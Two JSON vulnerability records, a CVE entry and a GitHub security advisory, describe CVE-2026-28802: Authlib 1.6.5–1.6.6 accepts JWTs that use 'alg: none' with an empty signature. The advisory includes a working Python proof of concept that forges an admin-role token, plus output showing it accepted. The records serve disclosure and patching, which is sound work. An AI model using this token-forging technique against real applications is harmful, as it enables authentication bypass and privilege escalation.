{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-28802",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-06T16:00:04.267898Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-06T16:05:35.082Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:/a:redhat:ansible_automation_platform:2.6::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Ansible Automation Platform 2.6",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3.10::el8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3.10",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3.12::el8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3.12",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3.15::el8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3.15",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3.16::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3.16",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3.9::el8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3.9",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:satellite:6"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Satellite 6",
            "vendor": "Red Hat"
          }
        ],
        "datePublic": "2026-03-06T06:44:26.402Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in Authlib, a Python library for building OAuth and OpenID Connect servers. A remote attacker can exploit this vulnerability by crafting a malicious JSON Web Token (JWT) with a \"none\" algorithm and an empty signature. This bypasses the expected signature verification, potentially allowing the attacker to forge tokens and gain unauthorized access or perform unauthorized actions within applications using Authlib."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-01T12:04:52.648Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-28802"
          },
          {
            "name": "RHBZ#2445120",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445120"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28802.json"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:6309"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:5665"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:4942"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:6568"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:19375"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:5168"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:6309: Red Hat Ansible Automation Platform 2.6"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:5665: Red Hat Quay 3.10"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:4942: Red Hat Quay 3.12"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:6568: Red Hat Quay 3.15"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:19375: Red Hat Quay 3.16"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:5168: Red Hat Quay 3.9"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-03-06T07:01:49.366Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-03-06T06:44:26.402Z",
            "value": "Made public."
          }
        ],
        "title": "authlib: Authlib: Signature verification bypass via malicious JWT allows unauthorized access",
        "workarounds": [
          {
            "lang": "en",
            "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "authlib",
          "vendor": "authlib",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.6.5, \u003c 1.6.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-06T06:44:26.402Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg"
        },
        {
          "name": "https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75"
        },
        {
          "name": "https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7"
        }
      ],
      "source": {
        "advisory": "GHSA-7wc2-qxgw-g8gg",
        "discovery": "UNKNOWN"
      },
      "title": "Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-28802",
    "datePublished": "2026-03-06T06:44:26.402Z",
    "dateReserved": "2026-03-03T14:25:19.246Z",
    "dateUpdated": "2026-07-01T12:04:52.648Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.5"
            },
            {
              "fixed": "1.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:55:47Z",
    "nvd_published_at": "2026-03-06T07:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAfter upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. \n\n### Details\nIt was likely introduced in this commit:\nhttps://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75\n\n### PoC\n```\nfrom authlib.jose import jwt, JsonWebKey\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\nimport json\nimport base64\n\n\ndef create_jwks():\n    private_key = rsa.generate_private_key(\n        public_exponent=65537, key_size=2048, backend=default_backend()\n    )\n    public_pem = private_key.public_key().public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo,\n    )\n    jwk = JsonWebKey.import_key(public_pem).as_dict()\n    jwk[\"kid\"] = \"test-key-001\"\n    jwk[\"use\"] = \"sig\"\n    jwk[\"alg\"] = \"RS256\"\n    jwks = {\"keys\": [jwk]}\n    return jwks\n\n\ndef create_forged_token_with_alg_none():\n    forged_header = {\"alg\": \"none\"}\n    forged_payload = {\n        \"sub\": \"user123\",\n        \"role\": \"admin\",\n        \"iat\": 1735603200,\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_header).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_payload).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    forged_token = header_b64 + b\".\" + payload_b64 + b\".\"\n    return forged_token\n\n\njwks = create_jwks()\nforged_token = create_forged_token_with_alg_none()\ntry:\n    claims = jwt.decode(forged_token, jwks)\n    print(f\"VULNERABLE: Forged token (alg:none) accepted: role={claims[\u0027role\u0027]}\")\nexcept Exception as e:\n    print(f\"SECURE: Token rejected - {type(e).__name__}\")\n```\n\nOutput:\n```\npip install -q authlib==1.5.2\npython3 authlib_alg_none_vulnerability.py \nSECURE: Token rejected - BadSignatureError\npip install -q authlib==1.6.5\npython3 authlib_alg_none_vulnerability.py \nVULNERABLE: Forged token (alg:none) accepted: role=admin\n```\n\n### Impact\nUsers of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a \u0027secure by default\u0027 stance and default to rejecting it and allow the application to provide an algorithm whitelist.\n\nApplications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:\n- Authentication bypass\n- Privilege escalation\n- Unauthorized access\n- Modification of application data",
  "id": "GHSA-7wc2-qxgw-g8gg",
  "modified": "2026-03-06T21:56:55Z",
  "published": "2026-03-04T20:55:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification"
}